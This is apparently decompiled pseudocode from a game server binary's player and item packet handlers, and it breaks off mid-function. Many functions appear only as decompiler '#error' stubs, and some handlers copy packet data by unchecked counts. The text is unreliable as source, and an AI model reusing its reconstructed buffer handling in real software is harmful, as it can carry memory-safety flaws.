*(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_BYTE *)(this + 20) = *(_BYTE *)(a2 + 20); *(_BYTE *)(this + 21) = *(_BYTE *)(a2 + 21); *(_DWORD *)(this + 22) = *(_DWORD *)(a2 + 22); *(_DWORD *)(this + 26) = *(_DWORD *)(a2 + 26); *(_WORD *)(this + 30) = *(_WORD *)(a2 + 30); *(_WORD *)(this + 32) = *(_WORD *)(a2 + 32); *(_WORD *)(this + 34) = *(_WORD *)(a2 + 34); *(_WORD *)(this + 36) = *(_WORD *)(a2 + 36); *(_DWORD *)(this + 38) = *(_DWORD *)(a2 + 38); *(_DWORD *)(this + 42) = *(_DWORD *)(a2 + 42); *(_DWORD *)(this + 46) = *(_DWORD *)(a2 + 46); *(_DWORD *)(this + 50) = *(_DWORD *)(a2 + 50); *(_DWORD *)(this + 54) = *(_DWORD *)(a2 + 54); *(_DWORD *)(this + 58) = *(_DWORD *)(a2 + 58); *(_DWORD *)(this + 62) = *(_DWORD *)(a2 + 62); *(_DWORD *)(this + 66) = *(_DWORD *)(a2 + 66); *(_DWORD *)(this + 70) = *(_DWORD *)(a2 + 70); *(_DWORD *)(this + 74) = *(_DWORD *)(a2 + 74); *(_BYTE *)(this + 78) = *(_BYTE *)(a2 + 78); *(_DWORD *)(this + 79) = *(_DWORD *)(a2 + 79); *(_WORD *)(this + 83) = *(_WORD *)(a2 + 83); *(_BYTE *)(this + 85) = *(_BYTE *)(a2 + 85); *(_DWORD *)(this + 86) = *(_DWORD *)(a2 + 86); *(_WORD *)(this + 90) = *(_WORD *)(a2 + 90); *(_BYTE *)(this + 92) = *(_BYTE *)(a2 + 92); *(_DWORD *)(this + 93) = *(_DWORD *)(a2 + 93); return result; } //----- (00432C30) -------------------------------------------------------- #error "432C30: undefined or illegal type '#331' (funcsize=66)" //----- (00432D30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_charsharpdata(void *this, int data) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_charsharpdata"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_charsharpdata"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)((char *)v2 + 32155) = *(_DWORD *)data; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4153; *(_DWORD *)(v3 + 2) = *(_DWORD *)data; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_charsharpdata : Packet Too Long", 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_charsharpdata"); } //----- (00432E20) -------------------------------------------------------- #error "432E20: undefined or illegal type '#331' (funcsize=66)" //----- (00432F20) -------------------------------------------------------- #error "432F20: undefined or illegal type '#331' (funcsize=66)" //----- (00433020) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_StoreQuestDoing(void *this, int data) { void *v2; // edi@1 signed int v3; // ebx@1 char *v4; // ecx@1 void *v5; // edx@2 int v6; // esi@5 int v7; // eax@7 void *v8; // [sp+10h] [bp-14h]@1 v2 = this; v8 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_StoreQuestDoing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_StoreQuestDoing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; CQuest::Recv_NC_CHAR_QUEST_DOING_CMD_ACK((CQuest *)((char *)v2 + 66048), (PROTO_NC_CHAR_QUEST_DOING_CMD *)data); v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4154; *(_DWORD *)(v4 + 2) = *(_DWORD *)data; *((_WORD *)v4 + 3) = *(_WORD *)(data + 4); if ( v4[7] ) { v5 = v4 + 8; do { memcpy(v5, (char *)v5 + data - (_DWORD)(v4 + 2), 0x20u); ++v3; v5 = (char *)v5 + 32; } while ( v3 < (unsigned __int8)v4[7] ); v2 = v8; } v6 = 32 * (unsigned __int8)v4[7] + 8; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 32 * (unsigned __int8)v4[7] + 8) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_StoreQuestDoing : Packet Too Long", v6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_StoreQuestDoing"); } //----- (00433160) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_StoreQuestDone(void *this, int data) { void *v2; // edi@1 char *v3; // ecx@1 int v4; // eax@1 signed int v5; // edx@1 int v6; // ecx@2 int v7; // esi@4 int v8; // eax@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_StoreQuestDone"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_StoreQuestDone"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CQuest::Recv_NC_CHAR_QUEST_DONE_CMD_ACK((CQuest *)((char *)v2 + 66048), (PROTO_NC_CHAR_QUEST_DONE_CMD *)data); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4155; v4 = (int)(v3 + 2); *(_DWORD *)(v3 + 2) = *(_DWORD *)data; *((_WORD *)v3 + 3) = *(_WORD *)(data + 4); v5 = 0; if ( *((_WORD *)v3 + 3) ) { v6 = (int)(v3 + 8); do { *(_WORD *)v6 = *(_WORD *)(data - v4 + v6); ++v5; v6 += 2; } while ( v5 < *(_WORD *)(v4 + 4) ); } v7 = 2 * *(_WORD *)(v4 + 4) + 8; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2 * *(_WORD *)(v4 + 4) + 8) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_StoreQuestDoing : Packet Too Long", v7); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_StoreQuestDone"); } //----- (00433290) -------------------------------------------------------- #error "433290: undefined or illegal type '#331' (funcsize=66)" //----- (00433390) -------------------------------------------------------- #error "433390: undefined or illegal type '#331' (funcsize=66)" //----- (00433490) -------------------------------------------------------- #error "433490: undefined or illegal type '#331' (funcsize=66)" //----- (00433590) -------------------------------------------------------- #error "433590: undefined or illegal type '#331' (funcsize=66)" //----- (00433690) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_charpassivedata(void *this, int data) { void *v2; // ebx@1 Name4 *v3; // eax@1 char *v4; // eax@1 int v5; // esi@1 int v6; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_charpassivedata"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_charpassivedata"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; BitSet::bs_clear((BitSet *)((char *)v2 + 68260)); v3 = (Name4 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); CharacterPassiveList::cpl_Store( (CharacterPassiveList *)((char *)v2 + 68260), (PROTO_NC_CHAR_SKILL_PASSIVE_CMD *)data, v3); v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4158; *((_WORD *)v4 + 1) = *(_WORD *)data; memcpy(v4 + 4, (const void *)(data + 2), 2 * *(_WORD *)data); v5 = 2 * *((_WORD *)v4 + 1) + 4; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2 * *((_WORD *)v4 + 1) + 4) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_charpassivedata : Packet Too Long", v5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_charpassivedata"); } //----- (004337C0) -------------------------------------------------------- #error "4337C0: undefined or illegal type '#331' (funcsize=69)" //----- (004338D0) -------------------------------------------------------- #error "4338D0: undefined or illegal type '#331' (funcsize=66)" //----- (004339D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_charskilldata(void *this, int data) { void *v2; // esp@1 void *v3; // ebx@1 unsigned __int8 v4; // al@1 CharClassManager *v5; // eax@2 int v6; // eax@6 CharClass *v7; // eax@6 char *v8; // esi@6 int v9; // eax@6 char v10; // ST14_1@8 int v11; // ecx@9 bool v12; // zf@9 bool v13; // sf@9 char *v14; // eax@10 int v15; // ecx@11 int v16; // esi@12 int v17; // eax@14 char *v18; // [sp-10h] [bp-3EB4h]@5 int v19; // [sp+0h] [bp-3EA4h]@6 int v20; // [sp+0h] [bp-3EA4h]@10 int v21; // [sp+4h] [bp-3EA0h]@10 PROTO_NC_CHAR_SKILL_CMD charskill; // [sp+Ch] [bp-3E98h]@6 char v23; // [sp+12h] [bp-3E92h]@6 char v24; // [sp+16h] [bp-3E8Eh]@10 unsigned int cookie; // [sp+3E90h] [bp-14h]@16 void *v26; // [sp+3E94h] [bp-10h]@1 int v27; // [sp+3EA0h] [bp-4h]@1 v26 = this; v2 = alloca(16020); v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_charskilldata"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_charskilldata"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*((_BYTE *)v3 + 32155) >> 2) & 0x1F; v27 = 0; if ( v4 >= 0x20u ) v5 = &charclassmanager; else v5 = (CharClassManager *)charclassmanager.ccm_array[v4]; *((_DWORD *)v3 + 1001) = v5; if ( *(_WORD *)(data + 4) < 0x3DEu ) { charskill.chrregnum = *(_DWORD *)data; charskill.number = *(_WORD *)(data + 4); v6 = *(_DWORD *)v3; memcpy(&v23, (const void *)(data + 6), 4 * (16 * (unsigned int)charskill.number >> 2)); v7 = (CharClass *)(*(int (__thiscall **)(void *))(v6 + 1160))(v3); DefSkillData::dsd_SetDefault(&defskill, &charskill, v7); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); CharaterSkillList::csl_Store((CharaterSkillList *)v3 + 3412, &charskill); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4157; v19 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1640))(v3); v9 = CharaterSkillList::csl_EmpowerSummary((CharaterSkillList *)v3 + 3412); if ( v19 >= v9 ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1640))(v3); v8[2] = v10 - CharaterSkillList::csl_EmpowerSummary((CharaterSkillList *)v3 + 3412); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_charskilldata : Too many empow", v19 >= v9); v8[2] = 0; } *(_DWORD *)(v8 + 3) = charskill.chrregnum; v11 = charskill.number; v12 = charskill.number == 0; v13 = (signed int)charskill.number < 0; *(_WORD *)(v8 + 7) = charskill.number; if ( !(v13 | v12) ) { v21 = (int)(v8 + 9); v14 = &v24; v20 = v11; do { *(_DWORD *)v21 = *(_DWORD *)v14; v15 = *((_DWORD *)v14 + 2); *(_DWORD *)(v21 + 4) = *((_DWORD *)v14 + 1); *(_DWORD *)(v21 + 8) = v15; v14 += 16; v12 = v20 == 1; v21 += 12; --v20; } while ( !v12 ); } v16 = 12 * *(_WORD *)(v8 + 7) + 9; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v16) ) { v17 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v17 + 12))(v17, v3, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_charskilldata : Packet Too Long", v16); } v27 = -1; v18 = "ShineObjectClass::ShinePlayer::so_charskilldata"; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_charskilldata : Too many skills", *(_WORD *)(data + 4)); v27 = -1; v18 = "ShineObjectClass::ShinePlayer::so_charskilldata"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v18); __security_check_cookie(cookie); } //----- (00433C60) -------------------------------------------------------- #error "433C60: undefined or illegal type '#331' (funcsize=66)" //----- (00433D60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_Storegamedata(void *this, int gamedata) { void *v2; // esi@1 unsigned int v3; // eax@1 unsigned __int16 v4; // ax@1 char *v5; // eax@3 int v6; // eax@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Storegamedata"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_Storegamedata"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_WORD *)v2 + 16084) = *(_WORD *)gamedata; *((_BYTE *)v2 + 32170) = *(_BYTE *)(gamedata + 2); v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); v4 = PartyManufacture::pm_FindParty(&partymanufacture, v3); if ( *(_WORD *)((char *)v2 + 32169) != v4 ) *(_WORD *)((char *)v2 + 32169) = v4; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4168; *((_WORD *)v5 + 1) = *(_WORD *)((char *)v2 + 32169); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_Storegamedata : Packet Too Long", 4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Storegamedata"); } //----- (00433E80) -------------------------------------------------------- #error "433E80: undefined or illegal type '#331' (funcsize=66)" //----- (00433F80) -------------------------------------------------------- #error "433F80: undefined or illegal type '#331' (funcsize=48)" //----- (00434050) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_accountstoragefill(void *this, int accstorage) { void *v2; // esi@1 int v3; // edi@3 PROTO_ITEMPACKET_TOTAL *v4; // ST0C_4@3 char *v5; // ebp@3 int v6; // eax@3 unsigned int v7; // ecx@3 char *v8; // ecx@3 int v9; // edi@3 int v10; // ebp@3 char v11; // al@3 int v12; // edi@3 int v13; // eax@7 char *v14; // [sp-4h] [bp-1Ch]@2 char *accstoragea; // [sp+1Ch] [bp+4h]@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_accountstoragefill"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_accountstoragefill"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_BYTE *)v2 + 23324) & 0x10 ) { v14 = "ShineObjectClass::ShinePlayer::so_accountstoragefill"; } else { ItemBag::ib_clear((ItemBag *)v2 + 17362); v3 = accstorage; v4 = (PROTO_ITEMPACKET_TOTAL *)(accstorage + 15); accstoragea = (char *)(accstorage + 14); ItemBag::ib_Initializetotal((ItemBag *)v2 + 17362, accstoragea, v4, 6); *((_DWORD *)v2 + 17360) = *(_DWORD *)(v3 + 6); *((_DWORD *)v2 + 17361) = *(_DWORD *)(v3 + 10); v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 15368; *(_DWORD *)(v5 + 2) = *(_DWORD *)(v3 + 6); *(_DWORD *)(v5 + 6) = *(_DWORD *)(v3 + 10); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)v6; *((_DWORD *)v8 + 1) = *(_DWORD *)(v6 + 4); *((_DWORD *)v8 + 2) = *(_DWORD *)(v6 + 8); v9 = (int)(v5 + 10); *((_DWORD *)v8 + 3) = *(_DWORD *)(v6 + 12); v8[16] = 0; v10 = ItemAccountStorage::ias_FillBufferItem( (ItemAccountStorage *)((char *)v2 + 69448), v5 + 10, (PROTO_ITEMPACKET_INFORM *)(v5 + 11), v8, 0, 143); v11 = *(_BYTE *)v9; v12 = *(_BYTE *)v9 - (unsigned __int8)*accstoragea; if ( v11 != *accstoragea ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer : ItemNumber not match", v12); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v10 + 11) ) { v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer : Packet Too Long", v10 + 11); } *((_BYTE *)v2 + 23324) |= 0x10u; v14 = "ShineObjectClass::ShinePlayer::so_accountstoragefill"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); } //----- (00434210) -------------------------------------------------------- #error "434210: undefined or illegal type '#331' (funcsize=66)" //----- (00434310) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_Getchestinform(int chest) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_Getchestinform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_Getchestinform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_Getchestinform"); } //----- (00434360) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_Getchestinform(void *this, int chest) { void *v2; // ebp@1 signed int v3; // ebx@1 int v4; // edi@2 int v5; // eax@3 unsigned int v6; // ecx@5 int v7; // eax@6 int v8; // ecx@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Getchestinform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_Getchestinform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; BitSet::bs_clear((BitSet *)((char *)v2 + 89166)); if ( *(_WORD *)chest > 0u ) { v4 = chest + 2; do { v5 = *(_WORD *)v4; if ( (unsigned int)v5 < *(_DWORD *)((char *)v2 + 89170) ) { v6 = *(_WORD *)v4; if ( v6 < *(_DWORD *)((char *)v2 + 89170) ) { v7 = *(_DWORD *)((char *)v2 + 89166) + (v6 >> 3); v8 = v6 & 0x80000007; if ( v8 < 0 ) LOBYTE(v8) = ((unsigned __int8)(v8 - 1) | 0xF8) + 1; *(_BYTE *)v7 |= 1 << v8; } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_Getchestinform : Too large location", v5); } ++v3; v4 += 2; } while ( v3 < *(_WORD *)chest ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Getchestinform"); } //----- (00434460) -------------------------------------------------------- #error "434460: undefined or illegal type '#331' (funcsize=57)" //----- (00434550) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_USER_CONNECTION_ZONE_CHANGE_CHAR_ID_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // ax@1 unsigned __int16 v4; // di@1 int v5; // eax@3 char *v6; // eax@6 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_USER_CONNECTION_ZONE_CHANGE_CHAR_ID_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_USER_CONNECTION_ZONE_CHANGE_CHAR_ID_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = CParty::PartyGetNo(&partycontainer, *(_DWORD *)&netcmd[1].protocol); v4 = v3; if ( v3 != -1 ) { if ( v3 < 0x7D0u ) { v5 = CParty::MemberGetNo(&partycontainer, v3, *(_DWORD *)&netcmd[1].protocol); if ( v5 >= 0 ) { if ( LOBYTE(netcmd[3].protocol) == 1 ) { CParty::MemberLeave(&partycontainer, v4, *(_DWORD *)&netcmd[1].protocol); } else { v6 = (char *)&partycontainer.m_Array[v4].Members[v5].MemberInform.Member.charname; *(_DWORD *)v6 = *(_DWORD *)((char *)&netcmd[11].protocol + 1); *((_DWORD *)v6 + 1) = *(_DWORD *)((char *)&netcmd[13].protocol + 1); *((_DWORD *)v6 + 2) = *(_DWORD *)((char *)&netcmd[15].protocol + 1); *((_DWORD *)v6 + 3) = *(_DWORD *)((char *)&netcmd[17].protocol + 1); } } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_USER_CONNECTION_ZONE_CHANGE_CHAR_ID_CMD"); } //----- (00434660) -------------------------------------------------------- void __thiscall ItemSmallBag::isb_Initializetotal(ItemSmallBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int inventype) { ItemSmallBag *v4; // ebx@1 signed int v5; // ebp@1 PROTO_ITEMPACKET_TOTAL *v6; // esi@1 int v7; // edi@3 int v8; // edi@5 unsigned __int16 v9; // ax@5 ItemTotalInformation itemtemp; // [sp+Ch] [bp-74h]@5 v4 = this; v5 = 0; v6 = itmarr; if ( *itemcounter ) { while ( 1 ) { if ( (unsigned int)v6->location.Inven >> 10 != inventype ) goto LABEL_6; v7 = v6->location.Inven & 0x3FF; if ( (v6->location.Inven & 0x3FF) < v4->vfptr->isb_BagSizeOutput(v4) ) break; AssertClass::ac_AssertFail(&shineassert, "ItemSmallBag::isb_Initializetotal : Invalid slot", v7); v6 = (PROTO_ITEMPACKET_TOTAL *)((char *)v6 + v6->datasize + 1); LABEL_7: ++v5; if ( v5 >= (unsigned __int8)*itemcounter ) return; } ItemTotalInformation::iti_fill2struct_whole( &itemtemp, &itmattcontainer.iacc_default, 0xFFFFu, v6->info.iti_registnum.binary.gap0); v8 = (int)v4->vfptr->isb_GetInventoryCell(v4, v6->location.Inven & 0x3FF); ItemInform_ActionItem::sii_Import((ItemInform_ActionItem *)v8, &itemtemp); v9 = ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v8); *(_DWORD *)(v8 + 16) = ItemAttributeClassContainer::operator__(&itmattcontainer, v9); LABEL_6: v6 = (PROTO_ITEMPACKET_TOTAL *)((char *)v6 + v6->datasize + 1); goto LABEL_7; } } //----- (00434770) -------------------------------------------------------- int __thiscall ItemSmallBag::isb_FullBufferItem2Client(ItemSmallBag *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, int box) { ItemSmallBag *v4; // ebx@1 PROTO_ITEMPACKET_INFORM *v5; // esi@1 ItemSmallBagVtbl *v6; // edx@1 ItemInform_ActionItem *v7; // eax@4 ItemInform_ActionItem *v8; // ebx@4 unsigned __int16 v9; // ax@8 char v10; // al@8 int result; // eax@10 int slot; // [sp+10h] [bp-90h]@1 ItemSmallBag *v13; // [sp+14h] [bp-8Ch]@1 ItemAttributeClass *iac; // [sp+18h] [bp-88h]@6 ItemTotalInformation iti; // [sp+20h] [bp-80h]@6 unsigned int v16; // [sp+90h] [bp-10h]@10 int v17; // [sp+9Ch] [bp-4h]@1 v4 = this; v13 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemSmallBag::isb_FullBufferItem2Client"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemSmallBag::isb_FullBufferItem2Client"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = itmarr; *itemcounter = 0; v6 = v4->vfptr; v17 = 0; slot = 0; if ( v6->isb_BagSizeOutput(v4) > 0 ) { while ( 1 ) { v7 = (ItemInform_ActionItem *)v4->vfptr->isb_GetInventoryCell(v4, slot); v8 = v7; if ( v7 ) { if ( ItemInventoryCell::iic_ItemIdent(v7) != -1 ) { ItemInform_ActionItem::sii_Export(v8, &iti); v5->location.Inven = ((_WORD)box << 10) ^ slot & 0x3FF; iac = (ItemAttributeClass *)&itmattcontainer; if ( *(_DWORD *)&v8[1].iiai_RegistNumber.binary.gap0[2] ) iac = *(ItemAttributeClass **)&v8[1].iiai_RegistNumber.binary.gap0[2]; v9 = ItemInventoryCell::iic_ItemIdent(v8); v10 = (char)&ItemTotalInformation::iti_fill2buffer_union(&iti, iac, v9, (char *)&v5->info)[-(_BYTE)v5 - 1]; v5->datasize = v10; v5 = (PROTO_ITEMPACKET_INFORM *)((char *)v5 + (unsigned __int8)v10 + 1); ++*itemcounter; if ( (signed int)((char *)v5 - (char *)itmarr) >= 8000 ) break; } } ++slot; if ( slot >= ((int (*)(void))v13->vfptr->isb_BagSizeOutput)() ) break; v4 = v13; } } --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ItemSmallBag::isb_FullBufferItem2Client"); __security_check_cookie(v16); return result; } //----- (00434910) -------------------------------------------------------- #error "434910: undefined or illegal type '#748' (funcsize=233)" //----- (00434CB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer(void *this, signed int itemlist) { void *v2; // ebp@1 signed int v3; // edi@1 char v4; // al@1 PROTO_ITEMPACKET_TOTAL *v5; // ST10_4@2 char *v6; // ST0C_4@2 PROTO_ITEMPACKET_TOTAL *v7; // ST10_4@4 char *v8; // ST0C_4@4 PROTO_ITEMPACKET_TOTAL *v9; // ST10_4@6 char *v10; // ST0C_4@6 PROTO_ITEMPACKET_TOTAL *v11; // ST10_4@8 char *v12; // ST0C_4@8 int v13; // eax@11 bool v14; // sf@14 char *v15; // esi@15 char v16; // dl@15 int v17; // esi@15 int v18; // eax@16 char v19; // cl@16 int v20; // ebx@16 int v21; // esi@16 int v22; // ebx@18 int v23; // eax@20 char v24; // bl@21 int i; // eax@21 int v26; // edi@22 int v27; // eax@24 int from; // [sp+10h] [bp-28h]@21 int ibii; // [sp+14h] [bp-24h]@9 char *v30; // [sp+18h] [bp-20h]@9 int v31; // [sp+1Ch] [bp-1Ch]@9 int v32; // [sp+20h] [bp-18h]@9 FunctionEntarance _; // [sp+24h] [bp-14h]@1 unsigned int v34; // [sp+28h] [bp-10h]@26 int v35; // [sp+34h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = (char *)&stru_59F2B8.maa_TargetSelect.targetlist.mam_Array[1].mts_CharRegnum; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_59F2B8.maa_TargetSelect.targetlist.mam_Array[1].mts_CharRegnum); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_59F2B8.maa_TargetSelect.targetlist.mam_Array[1].mts_CharRegnum; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = itemlist; v4 = *(_BYTE *)(itemlist + 1); v35 = 0; if ( v4 & 4 ) { v5 = (PROTO_ITEMPACKET_TOTAL *)(itemlist + 3); v6 = (char *)(itemlist + 2); itemlist = 9; ItemBag::ib_Initializetotal((ItemBag *)v2 + 8892, v6, v5, 9); } else { if ( v4 & 8 ) { v7 = (PROTO_ITEMPACKET_TOTAL *)(itemlist + 3); v8 = (char *)(itemlist + 2); itemlist = 8; ItemBag::ib_Initializetotal((ItemBag *)v2 + 8050, v8, v7, 8); } else { if ( v4 & 0x10 ) { v9 = (PROTO_ITEMPACKET_TOTAL *)(itemlist + 3); v10 = (char *)(itemlist + 2); itemlist = 12; ItemBag::ib_Initializetotal((ItemBag *)v2 + 13215, v10, 